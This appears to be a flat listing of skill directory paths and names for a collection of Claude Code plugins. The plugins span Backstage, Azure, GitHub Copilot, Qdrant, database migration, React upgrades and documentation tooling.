harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-analytics-instrumentation - plugin-analytics-instrumentation
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-analytics-instrumentation/references/upstream - backstage-plugin-builder
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-builder - backstage-plugin-full-frontend-system-migration
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-full-frontend-system-migration - plugin-full-frontend-system-migration
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-full-frontend-system-migration/references/upstream - backstage-plugin-new-frontend-system-support
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-new-frontend-system-support - plugin-new-frontend-system-support
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-new-frontend-system-support/references/upstream - cloud-architecture-best-practices-docs
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/cloud-architecture-best-practices-docs - cloud-design-patterns
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/cloud-design-patterns - create-llms
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/create-llms - foundry-agent-blueprint
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-agent-blueprint - foundry-agent-framework-py-release
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-agent-framework-py-release - foundry-agent-sync
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-agent-sync - foundry-agentic-eval
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-agentic-eval - foundry-ai-operations
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-ai-operations - foundry-claude-api
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api - foundry-hosted-agent-copilotkit
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-hosted-agent-copilotkit - github-cli
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-cli - github-codespaces-golden-paths
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-codespaces-golden-paths - github-copilot-generate-custom-instructions
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-copilot-generate-custom-instructions - github-copilot-harness-engineering
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-copilot-harness-engineering - github-copilot-instructions-blueprint-generator
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-copilot-instructions-blueprint-generator - github-copilot-sdk
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-copilot-sdk - github-copilot-usage-metrics
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-copilot-usage-metrics - github-issue-ops
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-issue-ops - github-pipeline-diagnostics
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-pipeline-diagnostics - mcp-builder
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/mcp-builder - mcp-cli
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/mcp-cli - microsoft-agent-framework
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/microsoft-agent-framework - microsoft-code-reference
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/microsoft-code-reference - microsoft-docs
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/microsoft-docs - microsoft-skill-creator
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/microsoft-skill-creator - open-horizons-azure-readiness
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-azure-readiness - open-horizons-backstage-aeg-feature
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-aeg-feature - open-horizons-backstage-ai-catalog
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-ai-catalog - open-horizons-backstage-app-bootstrap
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-app-bootstrap - open-horizons-backstage-app-configuration
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-app-configuration - open-horizons-backstage-authentication
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-authentication - open-horizons-backstage-catalog
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-catalog - open-horizons-backstage-catalog-db-performance
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-catalog-db-performance - open-horizons-backstage-core-contribution
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-core-contribution - open-horizons-backstage-external-integrations
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-external-integrations - open-horizons-backstage-framework
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-framework - open-horizons-backstage-kubernetes
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-kubernetes - open-horizons-backstage-mcp-actions
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-mcp-actions - open-horizons-backstage-notifications
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-notifications - open-horizons-backstage-operations
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-operations - open-horizons-backstage-permissions
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-permissions - open-horizons-backstage-search
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-search - open-horizons-backstage-software-templates
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-software-templates - open-horizons-backstage-techdocs
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-techdocs - open-horizons-backstage-upgrade
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-upgrade - open-horizons-brownfield-engineering
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-brownfield-engineering - open-horizons-deploy-orchestration
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-deploy-orchestration - open-horizons-deployment-operation
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-deployment-operation - open-horizons-ears-validate
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-ears-validate - open-horizons-orchestration
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-orchestration - open-horizons-portal-integration
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-portal-integration - open-horizons-prerequisites
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-prerequisites - open-horizons-security-review
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-security-review - open-horizons-sre-investigation
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-sre-investigation - open-horizons-terraform-change
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-terraform-change - open-horizons-workspace-kit
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-workspace-kit - python-code-quality
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/python-code-quality - python-development
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/python-development - python-feature-lifecycle
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/python-feature-lifecycle - python-package-management
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/python-package-management - python-testing
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/python-testing - sdd-requirements-engineer
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/sdd-requirements-engineer - agent-framework-python
harness/claude-code/plugins/open-horizons-platform/skills/agent-framework-python - agent-safety
harness/claude-code/plugins/open-horizons-platform/skills/agent-safety - agent-skills
harness/claude-code/plugins/open-horizons-platform/skills/agent-skills - agents
harness/claude-code/plugins/open-horizons-platform/skills/agents - azure-agentic-architecture-patterns
harness/claude-code/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns - azure-api-center
harness/claude-code/plugins/open-horizons-platform/skills/azure-api-center - azure-apim-ai-gateway
harness/claude-code/plugins/open-horizons-platform/skills/azure-apim-ai-gateway - azure-appinsights-instrumentation
harness/claude-code/plugins/open-horizons-platform/skills/azure-appinsights-instrumentation - azure-argocd-cli
harness/claude-code/plugins/open-horizons-platform/skills/azure-argocd-cli - azure-cli
harness/claude-code/plugins/open-horizons-platform/skills/azure-cli - azure-cost-optimize
harness/claude-code/plugins/open-horizons-platform/skills/azure-cost-optimize - azure-draw-io-diagram-generator
harness/claude-code/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator - azure-entra-agent-user
harness/claude-code/plugins/open-horizons-platform/skills/azure-entra-agent-user - azure-helm-cli
harness/claude-code/plugins/open-horizons-platform/skills/azure-helm-cli - azure-import-infrastructure-as-code
harness/claude-code/plugins/open-horizons-platform/skills/azure-import-infrastructure-as-code - azure-infrastructure
harness/claude-code/plugins/open-horizons-platform/skills/azure-infrastructure - azure-kubectl-cli
harness/claude-code/plugins/open-horizons-platform/skills/azure-kubectl-cli - azure-managed-redis-cache
harness/claude-code/plugins/open-horizons-platform/skills/azure-managed-redis-cache - azure-naming
harness/claude-code/plugins/open-horizons-platform/skills/azure-naming - azure-observability-stack
harness/claude-code/plugins/open-horizons-platform/skills/azure-observability-stack - azure-postgre-database-management
harness/claude-code/plugins/open-horizons-platform/skills/azure-postgre-database-management - azure-pricing
harness/claude-code/plugins/open-horizons-platform/skills/azure-pricing - azure-resource-health-diagnose
harness/claude-code/plugins/open-horizons-platform/skills/azure-resource-health-diagnose - azure-role-selector
harness/claude-code/plugins/open-horizons-platform/skills/azure-role-selector - azure-scaffold-wizard
harness/claude-code/plugins/open-horizons-platform/skills/azure-scaffold-wizard - azure-terraform-cli
harness/claude-code/plugins/open-horizons-platform/skills/azure-terraform-cli - azure-terraform-terratest-module-testing
harness/claude-code/plugins/open-horizons-platform/skills/azure-terraform-terratest-module-testing - azure-well-architected-review
harness/claude-code/plugins/open-horizons-platform/skills/azure-well-architected-review - backstage-ai
harness/claude-code/plugins/open-horizons-platform/skills/backstage-ai - backstage-app
harness/claude-code/plugins/open-horizons-platform/skills/backstage-app - backstage-app-frontend-system-migration
harness/claude-code/plugins/open-horizons-platform/skills/backstage-app-frontend-system-migration - app-frontend-system-migration
harness/claude-code/plugins/open-horizons-platform/skills/backstage-app-frontend-system-migration/references/upstream - backstage-auth
harness/claude-code/plugins/open-horizons-platform/skills/backstage-auth - backstage-catalog
harness/claude-code/plugins/open-horizons-platform/skills/backstage-catalog - backstage-config
harness/claude-code/plugins/open-horizons-platform/skills/backstage-config - backstage-integrations
harness/claude-code/plugins/open-horizons-platform/skills/backstage-integrations - backstage-mui-to-bui-migration
harness/claude-code/plugins/open-horizons-platform/skills/backstage-mui-to-bui-migration - mui-to-bui-migration
harness/claude-code/plugins/open-horizons-platform/skills/backstage-mui-to-bui-migration/references/upstream - backstage-onboard-to-openapi-server
harness/claude-code/plugins/open-horizons-platform/skills/backstage-onboard-to-openapi-server - onboard-to-openapi-server
harness/claude-code/plugins/open-horizons-platform/skills/backstage-onboard-to-openapi-server/references/upstream - backstage-plugin-analytics-instrumentation
harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-analytics-instrumentation - plugin-analytics-instrumentation
harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-analytics-instrumentation/references/upstream - backstage-plugin-builder
harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-builder - backstage-plugin-full-frontend-system-migration
harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-full-frontend-system-migration - plugin-full-frontend-system-migration
harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-full-frontend-system-migration/references/upstream - backstage-plugin-new-frontend-system-support
harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-new-frontend-system-support - plugin-new-frontend-system-support
harness/claude-code/plugins/open-horizons-platform/skills/backstage-plugin-new-frontend-system-support/references/upstream - backstage-software-templates
harness/claude-code/plugins/open-horizons-platform/skills/backstage-software-templates - backstage-techdocs
harness/claude-code/plugins/open-horizons-platform/skills/backstage-techdocs - cloud-architecture-best-practices-docs
harness/claude-code/plugins/open-horizons-platform/skills/cloud-architecture-best-practices-docs - cloud-design-patterns
harness/claude-code/plugins/open-horizons-platform/skills/cloud-design-patterns - copilot-primitive-authoring
harness/claude-code/plugins/open-horizons-platform/skills/copilot-primitive-authoring - create-llms
harness/claude-code/plugins/open-horizons-platform/skills/create-llms - docker-compose
harness/claude-code/plugins/open-horizons-platform/skills/docker-compose - dockerfile
harness/claude-code/plugins/open-horizons-platform/skills/dockerfile - foundry-agent-blueprint
harness/claude-code/plugins/open-horizons-platform/skills/foundry-agent-blueprint - foundry-agent-framework-py-release
harness/claude-code/plugins/open-horizons-platform/skills/foundry-agent-framework-py-release - foundry-agent-sync
harness/claude-code/plugins/open-horizons-platform/skills/foundry-agent-sync - foundry-agentic-eval
harness/claude-code/plugins/open-horizons-platform/skills/foundry-agentic-eval - foundry-ai-operations
harness/claude-code/plugins/open-horizons-platform/skills/foundry-ai-operations - foundry-claude-api
harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api - foundry-hosted-agent-copilotkit
harness/claude-code/plugins/open-horizons-platform/skills/foundry-hosted-agent-copilotkit - github-actions
harness/claude-code/plugins/open-horizons-platform/skills/github-actions - github-cli
harness/claude-code/plugins/open-horizons-platform/skills/github-cli - github-codespaces-golden-paths
harness/claude-code/plugins/open-horizons-platform/skills/github-codespaces-golden-paths - github-copilot-generate-custom-instructions
harness/claude-code/plugins/open-horizons-platform/skills/github-copilot-generate-custom-instructions - github-copilot-harness-engineering
harness/claude-code/plugins/open-horizons-platform/skills/github-copilot-harness-engineering - github-copilot-instructions-blueprint-generator
harness/claude-code/plugins/open-horizons-platform/skills/github-copilot-instructions-blueprint-generator - github-copilot-sdk
harness/claude-code/plugins/open-horizons-platform/skills/github-copilot-sdk - github-copilot-usage-metrics
harness/claude-code/plugins/open-horizons-platform/skills/github-copilot-usage-metrics - github-issue-ops
harness/claude-code/plugins/open-horizons-platform/skills/github-issue-ops - github-pipeline-diagnostics
harness/claude-code/plugins/open-horizons-platform/skills/github-pipeline-diagnostics - issue-forms
harness/claude-code/plugins/open-horizons-platform/skills/issue-forms - kubernetes
harness/claude-code/plugins/open-horizons-platform/skills/kubernetes - mcp-builder
harness/claude-code/plugins/open-horizons-platform/skills/mcp-builder - mcp-cli
harness/claude-code/plugins/open-horizons-platform/skills/mcp-cli - microsoft-agent-framework
harness/claude-code/plugins/open-horizons-platform/skills/microsoft-agent-framework - microsoft-code-reference
harness/claude-code/plugins/open-horizons-platform/skills/microsoft-code-reference - microsoft-docs
harness/claude-code/plugins/open-horizons-platform/skills/microsoft-docs - microsoft-skill-creator
harness/claude-code/plugins/open-horizons-platform/skills/microsoft-skill-creator - opa-policy
harness/claude-code/plugins/open-horizons-platform/skills/opa-policy - open-horizons-azure-readiness
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-azure-readiness - open-horizons-backstage-aeg
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-aeg - open-horizons-backstage-aeg-feature
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-aeg-feature - open-horizons-backstage-ai-catalog
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-ai-catalog - open-horizons-backstage-app-bootstrap
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-app-bootstrap - open-horizons-backstage-app-configuration
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-app-configuration - open-horizons-backstage-authentication
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-authentication - open-horizons-backstage-catalog
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-catalog - open-horizons-backstage-catalog-db-performance
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-catalog-db-performance - open-horizons-backstage-core-contribution
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-core-contribution - open-horizons-backstage-external-integrations
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-external-integrations - open-horizons-backstage-framework
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-framework - open-horizons-backstage-kubernetes
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-kubernetes - open-horizons-backstage-mcp-actions
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-mcp-actions - open-horizons-backstage-notifications
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-notifications - open-horizons-backstage-operations
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-operations - open-horizons-backstage-permissions
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-permissions - open-horizons-backstage-search
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-search - open-horizons-backstage-software-templates
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-software-templates - open-horizons-backstage-techdocs
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-techdocs - open-horizons-backstage-upgrade
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-upgrade - open-horizons-brownfield-engineering
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-brownfield-engineering - open-horizons-deploy-orchestration
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-deploy-orchestration - open-horizons-deployment-operation
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-deployment-operation - open-horizons-ears-validate
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-ears-validate - open-horizons-orchestration
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-orchestration - open-horizons-portal-integration
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-portal-integration - open-horizons-prerequisites
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-prerequisites - open-horizons-security-review
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-security-review - open-horizons-sre-investigation
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-sre-investigation - open-horizons-terraform-change
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-terraform-change - open-horizons-workspace-kit
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-workspace-kit - prompt
harness/claude-code/plugins/open-horizons-platform/skills/prompt - python
harness/claude-code/plugins/open-horizons-platform/skills/python - python-code-quality
harness/claude-code/plugins/open-horizons-platform/skills/python-code-quality - python-development
harness/claude-code/plugins/open-horizons-platform/skills/python-development - python-feature-lifecycle
harness/claude-code/plugins/open-horizons-platform/skills/python-feature-lifecycle - python-package-management
harness/claude-code/plugins/open-horizons-platform/skills/python-package-management - python-testing
harness/claude-code/plugins/open-horizons-platform/skills/python-testing - sdd-artifacts
harness/claude-code/plugins/open-horizons-platform/skills/sdd-artifacts - sdd-requirements-engineer
harness/claude-code/plugins/open-horizons-platform/skills/sdd-requirements-engineer - terraform
harness/claude-code/plugins/open-horizons-platform/skills/terraform - openapi-to-application-code
harness/claude-code/plugins/openapi-to-application-csharp-dotnet/skills/openapi-to-application-code - openapi-to-application-code
harness/claude-code/plugins/openapi-to-application-go/skills/openapi-to-application-code - openapi-to-application-code
harness/claude-code/plugins/openapi-to-application-java-spring-boot/skills/openapi-to-application-code - openapi-to-application-code
harness/claude-code/plugins/openapi-to-application-nodejs-nestjs/skills/openapi-to-application-code - openapi-to-application-code
harness/claude-code/plugins/openapi-to-application-python-fastapi/skills/openapi-to-application-code - creating-oracle-to-postgres-master-migration-plan
harness/claude-code/plugins/oracle-to-postgres-migration-expert/skills/creating-oracle-to-postgres-master-migration-plan - creating-oracle-to-postgres-migration-bug-report
harness/claude-code/plugins/oracle-to-postgres-migration-expert/skills/creating-oracle-to-postgres-migration-bug-report - creating-oracle-to-postgres-migration-integration-tests
harness/claude-code/plugins/oracle-to-postgres-migration-expert/skills/creating-oracle-to-postgres-migration-integration-tests - migrating-oracle-to-postgres-data-access-code
harness/claude-code/plugins/oracle-to-postgres-migration-expert/skills/migrating-oracle-to-postgres-data-access-code - migrating-oracle-to-postgres-stored-procedures
harness/claude-code/plugins/oracle-to-postgres-migration-expert/skills/migrating-oracle-to-postgres-stored-procedures - planning-oracle-to-postgres-migration-integration-testing
harness/claude-code/plugins/oracle-to-postgres-migration-expert/skills/planning-oracle-to-postgres-migration-integration-testing - reviewing-oracle-to-postgres-migration
harness/claude-code/plugins/oracle-to-postgres-migration-expert/skills/reviewing-oracle-to-postgres-migration - scaffolding-oracle-to-postgres-migration-test-project
harness/claude-code/plugins/oracle-to-postgres-migration-expert/skills/scaffolding-oracle-to-postgres-migration-test-project - sponsor-finder
harness/claude-code/plugins/ospo-sponsorship/skills/sponsor-finder - pcf-development
harness/claude-code/plugins/pcf-development/skills/pcf-development - phoenix-cli
harness/claude-code/plugins/phoenix/skills/phoenix-cli - phoenix-evals
harness/claude-code/plugins/phoenix/skills/phoenix-evals - phoenix-tracing
harness/claude-code/plugins/phoenix/skills/phoenix-tracing - php-mcp-server-generator
harness/claude-code/plugins/php-mcp-development/skills/php-mcp-server-generator - shopify-review-triage
harness/claude-code/plugins/platform-vendor-expertise/skills/shopify-review-triage - power-apps-code-app-scaffold
harness/claude-code/plugins/power-apps-code-apps/skills/power-apps-code-app-scaffold - power-bi-dax-optimization
harness/claude-code/plugins/power-bi-development/skills/power-bi-dax-optimization - power-bi-model-design-review
harness/claude-code/plugins/power-bi-development/skills/power-bi-model-design-review - power-bi-performance-troubleshooting
harness/claude-code/plugins/power-bi-development/skills/power-bi-performance-troubleshooting - power-bi-report-design-consultation
harness/claude-code/plugins/power-bi-development/skills/power-bi-report-design-consultation - power-platform-architect
harness/claude-code/plugins/power-platform-architect/skills/power-platform-architect - mcp-copilot-studio-server-generator
harness/claude-code/plugins/power-platform-mcp-connector-development/skills/mcp-copilot-studio-server-generator - power-platform-mcp-connector-suite
harness/claude-code/plugins/power-platform-mcp-connector-development/skills/power-platform-mcp-connector-suite - drawio
harness/claude-code/plugins/project-documenter/skills/drawio - md-to-docx
harness/claude-code/plugins/project-documenter/skills/md-to-docx - breakdown-epic-arch
harness/claude-code/plugins/project-planning/skills/breakdown-epic-arch - breakdown-epic-pm
harness/claude-code/plugins/project-planning/skills/breakdown-epic-pm - breakdown-feature-implementation
harness/claude-code/plugins/project-planning/skills/breakdown-feature-implementation - breakdown-feature-prd
harness/claude-code/plugins/project-planning/skills/breakdown-feature-prd - create-github-issues-feature-from-implementation-plan
harness/claude-code/plugins/project-planning/skills/create-github-issues-feature-from-implementation-plan - create-implementation-plan
harness/claude-code/plugins/project-planning/skills/create-implementation-plan - create-technical-spike
harness/claude-code/plugins/project-planning/skills/create-technical-spike - update-implementation-plan
harness/claude-code/plugins/project-planning/skills/update-implementation-plan - python-mcp-server-generator
harness/claude-code/plugins/python-mcp-development/skills/python-mcp-server-generator - qdrant-clients-sdk
harness/claude-code/plugins/qdrant-development/skills/qdrant-clients-sdk - qdrant-deployment-options
harness/claude-code/plugins/qdrant-development/skills/qdrant-deployment-options - qdrant-model-migration
harness/claude-code/plugins/qdrant-development/skills/qdrant-model-migration - qdrant-monitoring
harness/claude-code/plugins/qdrant-development/skills/qdrant-monitoring - qdrant-monitoring-debugging
harness/claude-code/plugins/qdrant-development/skills/qdrant-monitoring/debugging - qdrant-monitoring-setup
harness/claude-code/plugins/qdrant-development/skills/qdrant-monitoring/setup - qdrant-performance-optimization
harness/claude-code/plugins/qdrant-development/skills/qdrant-performance-optimization - qdrant-indexing-performance-optimization
harness/claude-code/plugins/qdrant-development/skills/qdrant-performance-optimization/indexing-performance-optimization - qdrant-memory-usage-optimization
harness/claude-code/plugins/qdrant-development/skills/qdrant-performance-optimization/memory-usage-optimization - qdrant-search-speed-optimization
harness/claude-code/plugins/qdrant-development/skills/qdrant-performance-optimization/search-speed-optimization - qdrant-scaling
harness/claude-code/plugins/qdrant-development/skills/qdrant-scaling - qdrant-minimize-latency
harness/claude-code/plugins/qdrant-development/skills/qdrant-scaling/minimize-latency - qdrant-scaling-data-volume
harness/claude-code/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume - qdrant-horizontal-scaling
harness/claude-code/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/horizontal-scaling - qdrant-sliding-time-window
harness/claude-code/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/sliding-time-window - qdrant-tenant-scaling
harness/claude-code/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/tenant-scaling - qdrant-vertical-scaling
harness/claude-code/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/vertical-scaling - qdrant-scaling-qps
harness/claude-code/plugins/qdrant-development/skills/qdrant-scaling/scaling-qps - qdrant-scaling-query-volume
harness/claude-code/plugins/qdrant-development/skills/qdrant-scaling/scaling-query-volume - qdrant-search-quality
harness/claude-code/plugins/qdrant-development/skills/qdrant-search-quality - qdrant-search-quality-diagnosis
harness/claude-code/plugins/qdrant-development/skills/qdrant-search-quality/diagnosis - qdrant-search-strategies
harness/claude-code/plugins/qdrant-development/skills/qdrant-search-quality/search-strategies - qdrant-version-upgrade
harness/claude-code/plugins/qdrant-development/skills/qdrant-version-upgrade - react-audit-grep-patterns
harness/claude-code/plugins/react18-upgrade/skills/react-audit-grep-patterns - react18-batching-patterns
harness/claude-code/plugins/react18-upgrade/skills/react18-batching-patterns - react18-dep-compatibility
harness/claude-code/plugins/react18-upgrade/skills/react18-dep-compatibility - react18-enzyme-to-rtl
harness/claude-code/plugins/react18-upgrade/skills/react18-enzyme-to-rtl - react18-legacy-context
harness/claude-code/plugins/react18-upgrade/skills/react18-legacy-context - react18-lifecycle-patterns
harness/claude-code/plugins/react18-upgrade/skills/react18-lifecycle-patterns - react18-string-refs
harness/claude-code/plugins/react18-upgrade/skills/react18-string-refs - react19-concurrent-patterns
harness/claude-code/plugins/react19-upgrade/skills/react19-concurrent-patterns - react19-source-patterns
harness/claude-code/plugins/react19-upgrade/skills/react19-source-patterns - react19-test-patterns
harness/claude-code/plugins/react19-upgrade/skills/react19-test-patterns - rhdh
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh - rhdh-jira
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-jira - rhdh-local
harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local - add-educational-comments
harness/claude-code/plugins/repo-documentation/skills/add-educational-comments - comment-code-generate-a-tutorial
harness/claude-code/plugins/repo-documentation/skills/comment-code-generate-a-tutorial - convert-plaintext-to-md
harness/claude-code/plugins/repo-documentation/skills/convert-plaintext-to-md - create-agentsmd
harness/claude-code/plugins/repo-documentation/skills/create-agentsmd - create-llms
harness/claude-code/plugins/repo-documentation/skills/create-llms - create-readme
harness/claude-code/plugins/repo-documentation/skills/create-readme - create-tldr-page
harness/claude-code/plugins/repo-documentation/skills/create-tldr-page - csharp-docs
harness/claude-code/plugins/repo-documentation/skills/csharp-docs - documentation-writer
harness/claude-code/plugins/repo-documentation/skills/documentation-writer - mkdocs-translations
harness/claude-code/plugins/repo-documentation/skills/mkdocs-translations - oo-component-documentation
harness/claude-code/plugins/repo-documentation/skills/oo-component-documentation - tldr-prompt
harness/claude-code/plugins/repo-documentation/skills/tldr-prompt - update-llms
harness/claude-code/plugins/repo-documentation/skills/update-llms - update-markdown-file-index
harness/claude-code/plugins/repo-documentation/skills/update-markdown-file-index - write-coding-standards-from-file
harness/claude-code/plugins/repo-documentation/skills/write-coding-standards-from-file - roundup
harness/claude-code/plugins/roundup/skills/roundup - roundup-setup
harness/claude-code/plugins/roundup/skills/roundup-setup - ruby-mcp-server-generator
harness/claude-code/plugins/ruby-mcp-development/skills/ruby-mcp-server-generator - rust-mcp-server-generator
harness/claude-code/plugins/rust-mcp-development/skills/rust-mcp-server-generator - salesforce-apex-quality
harness/claude-code/plugins/salesforce-development/skills/salesforce-apex-quality - salesforce-component-standards
harness/claude-code/plugins/salesforce-development/skills/salesforce-component-standards - salesforce-flow-design
harness/claude-code/plugins/salesforce-development/skills/salesforce-flow-design - ai-prompt-engineering-safety-review
harness/claude-code/plugins/security-best-practices/skills/ai-prompt-engineering-safety-review - generate-image
harness/claude-code/plugins/skill-image-gen/skills/generate-image - breakdown-plan
harness/claude-code/plugins/spec-driven-development/skills/breakdown-plan - breakdown-test
harness/claude-code/plugins/spec-driven-development/skills/breakdown-test - create-github-action-workflow-specification
harness/claude-code/plugins/spec-driven-development/skills/create-github-action-workflow-specification - create-github-issue-feature-from-specification
harness/claude-code/plugins/spec-driven-development/skills/create-github-issue-feature-from-specification - create-github-issues-for-unmet-specification-requirements
harness/claude-code/plugins/spec-driven-development/skills/create-github-issues-for-unmet-specification-requirements - create-specification
harness/claude-code/plugins/spec-driven-development/skills/create-specification - first-ask
harness/claude-code/plugins/spec-driven-development/skills/first-ask - gen-specs-as-issues
harness/claude-code/plugins/spec-driven-development/skills/gen-specs-as-issues - prd
harness/claude-code/plugins/spec-driven-development/skills/prd - update-specification
harness/claude-code/plugins/spec-driven-development/skills/update-specification - structured-autonomy-generate
harness/claude-code/plugins/structured-autonomy/skills/structured-autonomy-generate - structured-autonomy-implement
harness/claude-code/plugins/structured-autonomy/skills/structured-autonomy-implement - structured-autonomy-plan
harness/claude-code/plugins/structured-autonomy/skills/structured-autonomy-plan - swift-mcp-server-generator
harness/claude-code/plugins/swift-mcp-development/skills/swift-mcp-server-generator - create-technical-spike
harness/claude-code/plugins/technical-spike/skills/create-technical-spike - ai-prompt-engineering-safety-review
harness/claude-code/plugins/testing-automation/skills/ai-prompt-engineering-safety-review - csharp-nunit
harness/claude-code/plugins/testing-automation/skills/csharp-nunit - java-junit
